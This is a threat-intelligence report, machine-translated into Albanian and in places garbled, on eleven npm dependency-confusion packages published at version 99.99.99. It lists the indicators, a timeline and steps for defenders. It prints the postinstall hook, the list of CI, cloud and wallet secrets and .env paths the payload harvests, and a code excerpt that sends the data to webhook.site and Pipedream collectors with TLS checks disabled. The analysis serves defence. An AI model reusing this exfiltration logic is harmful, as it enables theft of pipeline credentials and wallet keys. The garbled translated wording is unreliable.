TL; DR
Më 2026-06-17, u publikua një llogari e vetme npm njëmbëdhjetë paketa që ndajnë një qëllim dhe një ngarkesë të vetmeDhjetë prej tyre mbajnë cryptodao- parashtesë (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); i njëmbëdhjeti është i skopuar @public-for-cdao/coreSecili prej tyre u botua në versionin 99.99.99 dhe dërgon një bajt identik recon.js që vazhdon postinstall.
Emrat janë treguesi. Ato lexohen si blloqet e brendshme të ndërtimit të zinxhirit privat të mjeteve të një projekti kripto/DAO. Të publikuara në regjistrin publik npm në një version artificialisht të lartë, ato presin një ndërtim. pipeline që është konfiguruar për të zgjidhur ato emra dhe që arrin npm publike përpara — ose në vend të — regjistrit privat. Kjo është konfuzion varësie, dhe ngarkesa është e akorduar saktësisht për vendin ku pret të ulet: CI/CD vrapues.
Kur postinstall zjarre, recon.js mbledh detajet e nikoqirit, kontrollon përafërsisht dyzet variabla mjedisi të cloud-it, CI-së dhe portofolit të kriptos, lexon çdo .env skedarët që mund t'i gjejë dhe i përcjell linjat që mbajnë sekretin fjalë për fjalë, pastaj ia transmeton paketën dy mbledhësve — webhook.site dhe një pikë fundore Pipedream — me verifikimin e certifikatës TLS të çaktivizuar. Një kopje është shkruar gjithashtu nën /tmp.
ashpërsi: i lartëEkosistemi i prekur: NPMTë njëmbëdhjetë paketat ishin aktive në kohën e shkrimit të këtij artikulli.
Anatomia e sulmit
Mekanizmi ka katër pjesë lëvizëse, dhe asnjëra prej tyre nuk është e hollë kur e dini se... shiko një shtresë përtej emrit të paketës.
1. Inflacioni i versionit si një joshje për zgjidhësin. Çdo paketë deklaron versionin 99.99.99Konfuzioni i varësisë funksionon kur një menaxher paketash kërkon një emri i brendshëm, gjithashtu kontrollon regjistrin publik dhe zgjedh versionin më të lartë që ai ka. gjen. Përzgjedhja e parazgjedhur e npm për një diapazon kursori ose wildcard është versioni më i kënaqshëm në çdo burim të konfiguruar; nëse të dy janë privatë regjistri dhe përgjigja publike npm për të njëjtin emër, numri më i madh i versionit fiton. A 99.99.99 tejkalon në thelb çdo version të brendshëm real që do të ketë një projekt arritur, kështu që një zgjidhës që nuk është i lidhur me burimin privat preferon kopje publike — dhe në këtë rast, armiqësore. Operatori nuk ka nevojë ta dijë numrat realë të versionit të Target; zgjedhja e një maksimumi absurd garanton gjithmonë barazimin ua prish rrugën.
2. Një shkaktar pas instalimit. package.json lidh ngarkesën me instalimin cikli i jetës:
{ "scripts": { "postinstall": "node recon.js" } } Nuk kërkohet importim i paketës. Thjesht instalimi i saj — i cili është një CI. pipeline bën automatikisht — ekzekutohet recon.js.
3. Një spastrim i gjerë sekret. recon.js mbledh një varg rezultatesh në faza:
- Konteksti i hostit: emri i hostit, platforma dhe versioni, arkitektura, emri i përdoruesit, funksionimi directory.
- Variablat e mjedisit: përsërit një listë fikse prej rreth dyzet emrash dhe regjistrimesh çdo që është vendosur. Lista është zbuluese - ajo çiftëzon tokenët gjenerikë CI (CI_JOB_TOKEN, FJALËKALIMI_I_REGJISTRIT_CI, GITLAB_ACCESS_TOKEN) dhe retë kredencialet (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) me sekretet e regjistrit dhe kontejnerëve (NPM_TOKEN, DOCKER_PASSWORD, HARBOR_PASSWORD) dhe një grumbull me shije të dallueshme kriptoje: PRIVATE_KEY, MNEMONIK, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, ETH_RPC, BSC_RPCVlerat e regjistruara shkurtohen në 50 karakteret e para.
- .zili skedarë: ai shqyrton një listë shtigjesh — .zili, ../.env, /app/.env, /app/backend/.env, /app/bot/.env, /home/gitlab-runner/.env, /root/.env, dhe .prodhim/.zhvillim variante — dhe për çdo skedar që ekziston, ai filtron përmbajtjen në rreshta që përputhen ÇELËS|SEKRET|TOKEN|KALIM|PRIVAT|MNEMONIK dhe i shtyn ato rreshta **të plota, të pashkurtuara** në rezultate.
- Konteksti Build-host: rendit 20 hyrjet e para të /ndërton/, /home/gitlab-runner/builds/, /var/lib/gitlab-runner/dhe / tmp /.
Lista e shtigjeve dhe lista e variablave janë të peshuara drejt ekzekutuesve të GitLab, gjë që tregon ngarkesa direkt në infrastrukturën CI të vetë-pritur në vend të një zhvilluesi laptop. Grupimi i listës së vjeljes sipas kategorisë e bën të qartë ngarkesën e synuar:
| Kategoria | Variablat / shtigjet e arritura |
|---|---|
| CI/CD identiteti dhe vendosja | CI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY |
| Re | AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN |
| Regjistri dhe kontejneri | NPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD |
| Depozitat e të dhënave | DATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD |
| Kripto / bllokzinxhir | PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC |
| Messaging | SLACK_TOKEN, DISCORD_TOKEN |
| Në disk | .env familja + /home/gitlab-runner/.env, /root/.env, /app/**/.env; listat e drejtorive të /builds/, /var/lib/gitlab-runner/ |
Grumbulli i kriptove është pjesa që e dallon këtë nga një sekret CI gjenerik. spastrim: frazat e mbjelljes së portofolit dhe çelësat e nënshkrimit shfaqen vetëm në mjedisin e një projekti blockchain, dhe ato lidhen drejtpërdrejt me kriptodao-/signer/Kontratat emërtimi i transportuesve.
4. Ekfiltrim i dyfishtë me verifikim të çaktivizuar. Matrica e mbledhur është serializuar dhe postuar në dy destinacione:
const targets = [ { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' }, { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 }) refuzoj I paautorizuar: i gabuar çaktivizon kontrollet e certifikatave TLS për dërgesat dalëse thirrje. Të njëjtat të dhëna shtypen në stdout (kështu që ato futen edhe në regjistrat e punës CI) dhe shkruar për /tmp/.npm_recon_ .jsonGabimet gëlltiten në heshtje, kështu që një Dërgimi i dështuar nuk lë gjurmë në daljen e instalimit përtej një gjurme të vetme [zbulim] instaluar në linjë.
Një koment kryesor në dosje e përshkruan atë si një "Konfuzion Varësie". Ngarkesa e Zbulimit.” Shkurtimi i vlerave të mjedisit në 50 karaktere ka formën e një prove koncepti. Ajo që e zhvendos atë përtej një sinjali që tregon vetëm praninë është .zili trajtimi: linjat që mbajnë sekrete përcillen plotësisht, dhe destinacionet janë dy mbledhës funksionalë, të kontrolluar nga sulmuesit, në vend të një lavamani që vetëm ka rëndësi goditjet.
Kohështrirje
Modeli i publikimit është nënshkrimi i një shtytjeje të vetme të shkruar, jo i njëmbëdhjetë ngarkime të pavarura.
| Ora (UTC, 2026-06-17) | ngjarje |
|---|---|
| 03:24:58 | cryptodao-bot@99.99.99 publikuar |
| 03:25:01 | cryptodao-signer@99.99.99 |
| 03:25:04 | cryptodao-deploy@99.99.99 |
| 03:25:08 | cryptodao-backend@99.99.99 |
| 03:25:11 | cryptodao-contracts@99.99.99 |
| 03:25:14 | cryptodao-sdk@99.99.99 |
| 03:25:18 | cryptodao-utils@99.99.99 |
| 03:25:21 | cryptodao-core@99.99.99 |
| 03:25:24 | cryptodao-types@99.99.99 |
| 03:25:27 | cryptodao-config@99.99.99 |
| 03:49:59 | @public-for-cdao/core@99.99.99 — variant i vëzhguar, ~24 minuta më vonë |
Dhjetë pako u dërguan brenda një dritareje 29-sekondëshe, afërsisht një çdo tre sekonda. I vëzhguar @public-for-cdao/core pasoi rreth 24 minuta më vonë — një sekondë konventë emërtimi për të njëjtin objektiv, në rast se projekti që konsumon i referohet zinxhiri i mjeteve të brendshme nën një fushëveprim në vend të emrave të thjeshtë.
Treguesit e kompromisit
| Tipi | Tregues |
|---|---|
| Koleksionist | hxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd |
| Koleksionist | hxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/ |
| Instaloni grepin | postinstall: node recon.js |
| Skedar i lëshuar | /tmp/.npm_recon_<timestamp>.json |
| Shënues regjistri | [recon] <pkg>@<ver> installed on <hostname> (stdout në regjistrat CI) |
| sjelljes | rejectUnauthorized: false në HTTPS dalëse gjatë instalimit |
| payload | recon.js, identike në të gjitha njëmbëdhjetë paketat (një ndërtim i përbashkët) |
| Version | 99.99.99 në çdo pako |
| Paketat | cryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (të gjithë 99.99.99) |
| Botues | aduljune / aduljune@proton.me (email i paverifikuar, nuk ka depo burimi të lidhur) |
Atribuimi dhe sjellja e vëzhguar
Çdo gjë në lidhje me grumbullin tregon për njërën dorë. Të njëmbëdhjetë paketat u publikuan. nga llogaria npm aduljune (aduljune@proton.me, një adresë e paverifikuar me nr. depo burimi e lidhur), brenda një intervali kohor prej 25 minutash, në të njëjtën kohë 99.99.99 version, dërgimi i një recon.js përmbajtja e të cilave është bajt për bajt identike në çdo paketë (MD5 përputhet në të gjitha njëmbëdhjetë kopjet e nxjerra). Kjo është një ngarkesë i stampuar në një listë emrash, jo ripërdorim i pavarur i kodit.
Lista e emrave përcakton objektivin e synuar. kriptodao-* cdao përshkruaj paraqitja e modulit privat të një projekti kripto/DAO dhe lista e mbledhjes së ngarkesës pasqyra që hamendësojnë: krahas sekreteve gjenerike të CI-së dhe cloud-it, ajo konkretisht shtrihet për PRIVATE_KEY, MNEMONIK, SEED_PHRASE, dhe Ethereum/BSC RPC dhe çelësat e ofruesit. .zili shtigjet e kërkimit dhe listat e direktorive janë GitLab-runner specifike. Efekti i vëzhgueshëm është se çdo pipeline mashtruar për t'i instaluar këto emrat do të përcillnin tokenët e tyre CI, çelësat cloud dhe në disk .zili sekrete — dhe, për një projekt blockchain, materiali i portofolit të tij — për dy koleksionistë të palëve të treta.
Ne nuk bëjmë asnjë pretendim se kush e operon llogarinë ose çfarë kanë planifikuar të bëjnë me të. të dhëna. Faktet që qëndrojnë më vete: emrat synojnë një lloj specifik të zinxhiri i brendshëm i mjeteve, ngarkesa lexon dhe transmeton vlera të vërteta sekrete, dhe Infrastruktura ishte aktive.
Ndikimi, trendet dhe udhëzimet e mbrojtësve
Konfuzion varësie mbetet efektiv sepse shfrytëzon sjelljen e zgjidhësit, jo një dobësi në çdo paketë. Transportuesi këtu është i parëndësishëm - njëmbëdhjetë pothuajse bosh paketa — por rrezja e shpërthimit është cilado qoftë pipeline gabimisht preferon npm publike për një emër të brendshëm. Vrapuesit CI janë vendi më i keq për të ndodhur kjo: ata mbajnë pikërisht shenjat dhe .zili skedarët që kjo ngarkesë lexon dhe ata instalojnë varësitë jo-ndërvepruese, kështu që një post-instalim vrapon pa e parë askush.
Ky grumbullim përputhet gjithashtu me një model që vazhdojmë ta shohim: ngarkesat në kohën e instalimit që paraqiten si “hulumtim” ose “zbulim” gjatë mbledhjes së të dhënave të vërteta. Etiketa në skedar nuk ndryshon atë që bën kodi në një ekzekutues. Dy zgjedhje dizajni ruhen aktiviteti i qetë: çdo operacion i rrjetit dhe sistemit të skedarëve është i mbështjellë në një trajtues përjashtimesh që hedh poshtë gabimet, pra një dërgim i bllokuar ose një skedar që mungon nuk prodhon asnjë rezultat diagnostikues, dhe e vetmja gjë e shtypur është një i vetëm i padëmshëm [rizbulim] … i instaluar linjë që përzihet me zhurmën normale të instalimit. Përdorimi i webhook.site dhe Pipedream është gjithashtu komoditet i qëllimshëm - të dyja janë falas, shërbime të kapjes së kërkesave të siguruara menjëherë, kështu që operatori nuk ka nevojë për servera të të tyret dhe destinacionet duken si emra të zakonshëm të hosteve SaaS në regjistrat e daljes.
Ekonomia është ajo që e bën këtë të denjë për vëmendjen e një mbrojtësi edhe pse Kodi i transportuesit është i thjeshtë. Regjistrimi i njëmbëdhjetë emrave nuk kushton asgjë, ngarkesa është një skedari kopjohet njëmbëdhjetë herë, dhe menaxheri i paketave kryen të gjithë ekzekutimin. Një i vetëm i konfiguruar gabim pipeline kudo që konsumon një nga këto emra paguan për të gjithën operacion.
Hapa konkretë për mbrojtësit:
- Ngulitni fushat e brendshme në regjistrin tuaj privat. Konfiguro npm kështu që emrat e brendshëm
dhe fushat zgjidhin vetëm regjistrin tuaj (mapimet e regjistrit .npmrc të fushës së skopuar, ose një ndërmjetës që nuk i kalon kurrë npm-së publike për hapësirat e emrave në pronësi). Rezervoni emrat tuaj të fushëveprimit publik në mënyrë që askush tjetër të mos mund t'i regjistrojë ato.
- Commit blloko skedarët dhe instalo me –ignore-skripte në CI aty ku është e mundur, ose Kontrolloni grupin e vogël të varësive që vërtet kanë nevojë për skripte instalimi. recon.js nuk mund të ekzekutohet nëse post-instalim nuk ekzekutohet.
- Trajtoni një version 99.99.99 (ose ndonjë version tjetër absurdisht të lartë) të një emri që duket i brendshëm si një flamur i kuq në shqyrtimin e varësive dhe monitorimin e regjistrit.
- Alarm për daljen në kohën e instalimit. A post-instalim që hap një HTTPS dalës lidhje — veçanërisht me verifikimin e certifikatës të çaktivizuar — për të webhook.site, Pipedream ose shërbime të ngjashme për kapjen e kërkesave ia vlen të bllokohen në skajin e rrjetit dhe të raportohen në regjistrat e ndërtimit.
- Kërko për artefakte. Kontrolloni vrapuesit për /tmp/.npm_recon_*.json dhe për [zbulim] … instaluar në … shënues në regjistrat e fundit të CI. Nëse gjendet, rrotullojeni çdo kredencialet e ekspozuara ndaj kësaj pipeline — Tokenët CI, çelësat e cloud-it, tokenët e regjistrit dhe çdo farë portofoli ose çelës privat i pranishëm në mjedis ose skedarët .env.
Referencat
Në kohën e shkrimit të këtij raporti, nuk ekzistonte asnjë raportim i jashtëm mbi këtë grup; analiza më sipër bazohet drejtpërdrejt në përmbajtjen e publikuar të paketës




